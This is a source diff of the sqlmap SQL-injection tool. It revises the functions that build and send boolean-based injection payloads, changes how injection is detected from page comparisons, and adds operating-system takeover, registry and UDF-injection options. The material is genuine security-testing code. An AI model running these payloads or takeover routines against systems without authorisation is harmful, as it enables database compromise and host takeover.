<p>You should have received a copy of the UPX License Agreement along
|
||||||
|
with this program; see the file LICENSE. If not, visit the UPX home page.</p>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
BIN
lib/contrib/upx/linux/upx
Executable file
BIN
lib/contrib/upx/linux/upx
Executable file
Binary file not shown.
BIN
lib/contrib/upx/macosx/upx
Executable file
BIN
lib/contrib/upx/macosx/upx
Executable file
Binary file not shown.
BIN
lib/contrib/upx/windows/upx.exe
Executable file
BIN
lib/contrib/upx/windows/upx.exe
Executable file
Binary file not shown.
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.controller.handler import setHandler
|
from lib.controller.handler import setHandler
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest
|
|||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
def action():
|
def action():
|
||||||
"""
|
"""
|
||||||
This function exploit the SQL injection on the affected
|
This function exploit the SQL injection on the affected
|
||||||
@@ -77,7 +74,7 @@ def action():
|
|||||||
if conf.timeTest:
|
if conf.timeTest:
|
||||||
dumper.string("time based blind sql injection payload", timeTest())
|
dumper.string("time based blind sql injection payload", timeTest())
|
||||||
|
|
||||||
if conf.unionTest:
|
if ( conf.unionUse or conf.unionTest ) and not kb.unionPosition:
|
||||||
dumper.string("valid union", unionTest())
|
dumper.string("valid union", unionTest())
|
||||||
|
|
||||||
# Enumeration options
|
# Enumeration options
|
||||||
@@ -125,13 +122,43 @@ def action():
|
|||||||
if conf.sqlShell:
|
if conf.sqlShell:
|
||||||
conf.dbmsHandler.sqlShell()
|
conf.dbmsHandler.sqlShell()
|
||||||
|
|
||||||
|
# User-defined function options
|
||||||
|
if conf.udfInject:
|
||||||
|
conf.dbmsHandler.udfInjectCustom()
|
||||||
|
|
||||||
# File system options
|
# File system options
|
||||||
if conf.rFile:
|
if conf.rFile:
|
||||||
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
|
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
|
||||||
|
|
||||||
if conf.wFile:
|
if conf.wFile:
|
||||||
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
|
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
|
||||||
|
|
||||||
|
# Operating system options
|
||||||
|
if conf.osCmd:
|
||||||
|
conf.dbmsHandler.osCmd()
|
||||||
|
|
||||||
# Takeover options
|
|
||||||
if conf.osShell:
|
if conf.osShell:
|
||||||
conf.dbmsHandler.osShell()
|
conf.dbmsHandler.osShell()
|
||||||
|
|
||||||
|
if conf.osPwn:
|
||||||
|
conf.dbmsHandler.osPwn()
|
||||||
|
|
||||||
|
if conf.osSmb:
|
||||||
|
conf.dbmsHandler.osSmb()
|
||||||
|
|
||||||
|
if conf.osBof:
|
||||||
|
conf.dbmsHandler.osBof()
|
||||||
|
|
||||||
|
# Windows registry options
|
||||||
|
if conf.regRead:
|
||||||
|
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
|
||||||
|
|
||||||
|
if conf.regAdd:
|
||||||
|
conf.dbmsHandler.regAdd()
|
||||||
|
|
||||||
|
if conf.regDel:
|
||||||
|
conf.dbmsHandler.regDel()
|
||||||
|
|
||||||
|
# Miscellaneous options
|
||||||
|
if conf.cleanup:
|
||||||
|
conf.dbmsHandler.cleanup()
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.controller.action import action
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.convert import md5hash
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -39,7 +37,6 @@ from lib.core.session import setString
|
|||||||
from lib.core.session import setRegexp
|
from lib.core.session import setRegexp
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def checkSqlInjection(place, parameter, value, parenthesis):
|
def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
"""
|
"""
|
||||||
This function checks if the GET, POST, Cookie, User-Agent
|
This function checks if the GET, POST, Cookie, User-Agent
|
||||||
@@ -71,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "confirming custom injection "
|
infoMsg = "confirming custom injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -83,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "custom injectable "
|
infoMsg += "custom injectable "
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -97,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "confirming unescaped numeric injection "
|
infoMsg = "confirming unescaped numeric injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -109,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "unescaped numeric injectable "
|
infoMsg += "unescaped numeric injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -128,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "confirming single quoted string injection "
|
infoMsg = "confirming single quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -140,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "single quoted string injectable "
|
infoMsg += "single quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -159,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "confirming LIKE single quoted string injection "
|
infoMsg = "confirming LIKE single quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -171,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "LIKE single quoted string injectable "
|
infoMsg += "LIKE single quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -190,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "confirming double quoted string injection "
|
infoMsg = "confirming double quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -202,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "double quoted string injectable "
|
infoMsg += "double quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -221,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "confirming LIKE double quoted string injection "
|
infoMsg = "confirming LIKE double quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -233,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "LIKE double quoted string injectable "
|
infoMsg += "LIKE double quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -247,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def checkDynParam(place, parameter, value):
|
def checkDynParam(place, parameter, value):
|
||||||
"""
|
"""
|
||||||
This function checks if the url parameter is dynamic. If it is
|
This function checks if the url parameter is dynamic. If it is
|
||||||
@@ -262,7 +258,7 @@ def checkDynParam(place, parameter, value):
|
|||||||
payload = agent.payload(place, parameter, value, str(randInt))
|
payload = agent.payload(place, parameter, value, str(randInt))
|
||||||
dynResult1 = Request.queryPage(payload, place)
|
dynResult1 = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if kb.defaultResult == dynResult1:
|
if True == dynResult1:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||||
@@ -274,12 +270,11 @@ def checkDynParam(place, parameter, value):
|
|||||||
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
|
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
|
||||||
dynResult3 = Request.queryPage(payload, place)
|
dynResult3 = Request.queryPage(payload, place)
|
||||||
|
|
||||||
condition = kb.defaultResult != dynResult2
|
condition = True != dynResult2
|
||||||
condition |= kb.defaultResult != dynResult3
|
condition |= True != dynResult3
|
||||||
|
|
||||||
return condition
|
return condition
|
||||||
|
|
||||||
|
|
||||||
def checkStability():
|
def checkStability():
|
||||||
"""
|
"""
|
||||||
This function checks if the URL content is stable requesting the
|
This function checks if the URL content is stable requesting the
|
||||||
@@ -294,76 +289,27 @@ def checkStability():
|
|||||||
infoMsg = "testing if the url is stable, wait a few seconds"
|
infoMsg = "testing if the url is stable, wait a few seconds"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
firstPage, firstHeaders = Request.queryPage(content=True)
|
firstPage, _ = Request.queryPage(content=True)
|
||||||
time.sleep(0.5)
|
time.sleep(1)
|
||||||
|
secondPage, _ = Request.queryPage(content=True)
|
||||||
|
|
||||||
secondPage, secondHeaders = Request.queryPage(content=True)
|
condition = firstPage == secondPage
|
||||||
time.sleep(0.5)
|
|
||||||
|
|
||||||
thirdPage, thirdHeaders = Request.queryPage(content=True)
|
if condition:
|
||||||
|
conf.md5hash = md5hash(firstPage)
|
||||||
|
|
||||||
condition = firstPage == secondPage
|
logMsg = "url is stable"
|
||||||
condition &= secondPage == thirdPage
|
|
||||||
|
|
||||||
if condition == False:
|
|
||||||
# Prepare for the comparison algorithm based on Content-Length
|
|
||||||
# header value
|
|
||||||
contentLengths = []
|
|
||||||
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
|
|
||||||
|
|
||||||
for requestHeaders in requestsHeaders:
|
|
||||||
requestHeaders = str(requestHeaders).lower()
|
|
||||||
|
|
||||||
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
|
|
||||||
|
|
||||||
if clHeader and clHeader.group(1).isdigit():
|
|
||||||
contentLengths.append(int(clHeader.group(1)))
|
|
||||||
|
|
||||||
if contentLengths:
|
|
||||||
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
|
|
||||||
|
|
||||||
warnMsg = "url is not stable, sqlmap inspected the headers "
|
|
||||||
warnMsg += "and identified that Content-Length can be used "
|
|
||||||
warnMsg += "in the comparison algorithm"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
kb.defaultResult = True
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
# Prepare for the comparison algorithm based on page content's
|
|
||||||
# stable lines subset
|
|
||||||
counter = 0
|
|
||||||
firstLines = firstPage.split("\n")
|
|
||||||
secondLines = secondPage.split("\n")
|
|
||||||
thirdLines = thirdPage.split("\n")
|
|
||||||
|
|
||||||
for firstLine in firstLines:
|
|
||||||
if counter > len(secondLines) or counter > len(thirdLines):
|
|
||||||
break
|
|
||||||
|
|
||||||
if firstLine in secondLines and firstLine in thirdLines:
|
|
||||||
conf.equalLines.append(firstLine)
|
|
||||||
|
|
||||||
counter += 1
|
|
||||||
|
|
||||||
if conf.equalLines:
|
|
||||||
warnMsg = "url is not stable, sqlmap inspected the page "
|
|
||||||
warnMsg += "content and identified a stable lines subset "
|
|
||||||
warnMsg += "to be used in the comparison algorithm"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
kb.defaultResult = True
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
if condition == True:
|
|
||||||
logMsg = "url is stable"
|
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
elif not condition:
|
||||||
|
warnMsg = "url is not stable, sqlmap will base the page "
|
||||||
|
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
|
||||||
|
warnMsg += "injectable parameters are detected, refer to user's "
|
||||||
|
warnMsg += "manual paragraph 'Page comparison' and provide a "
|
||||||
|
warnMsg += "string or regular expression to match on"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return condition
|
return condition
|
||||||
|
|
||||||
|
|
||||||
def checkString():
|
def checkString():
|
||||||
if not conf.string:
|
if not conf.string:
|
||||||
return True
|
return True
|
||||||
@@ -394,7 +340,6 @@ def checkString():
|
|||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkRegexp():
|
def checkRegexp():
|
||||||
if not conf.regexp:
|
if not conf.regexp:
|
||||||
return True
|
return True
|
||||||
@@ -426,17 +371,21 @@ def checkRegexp():
|
|||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkConnection():
|
def checkConnection():
|
||||||
infoMsg = "testing connection to the target url"
|
infoMsg = "testing connection to the target url"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
kb.defaultResult = Request.queryPage()
|
page, _ = Request.getPage()
|
||||||
|
conf.seqMatcher.set_seq1(page)
|
||||||
|
|
||||||
except sqlmapConnectionException, exceptionMsg:
|
except sqlmapConnectionException, exceptionMsg:
|
||||||
|
exceptionMsg = str(exceptionMsg)
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
exceptionMsg += ", skipping to next url"
|
exceptionMsg += ", skipping to next url"
|
||||||
logger.warn(exceptionMsg)
|
logger.warn(exceptionMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
raise sqlmapConnectionException, exceptionMsg
|
raise sqlmapConnectionException, exceptionMsg
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.controller.action import action
|
from lib.controller.action import action
|
||||||
from lib.controller.checks import checkSqlInjection
|
from lib.controller.checks import checkSqlInjection
|
||||||
from lib.controller.checks import checkDynParam
|
from lib.controller.checks import checkDynParam
|
||||||
@@ -33,17 +31,16 @@ from lib.controller.checks import checkRegexp
|
|||||||
from lib.controller.checks import checkConnection
|
from lib.controller.checks import checkConnection
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
|
||||||
from lib.core.exception import sqlmapNotVulnerableException
|
from lib.core.exception import sqlmapNotVulnerableException
|
||||||
from lib.core.session import setInjection
|
from lib.core.session import setInjection
|
||||||
from lib.core.target import createTargetDirs
|
from lib.core.target import createTargetDirs
|
||||||
from lib.core.target import initTargetEnv
|
from lib.core.target import initTargetEnv
|
||||||
from lib.utils.parenthesis import checkForParenthesis
|
from lib.utils.parenthesis import checkForParenthesis
|
||||||
|
|
||||||
|
|
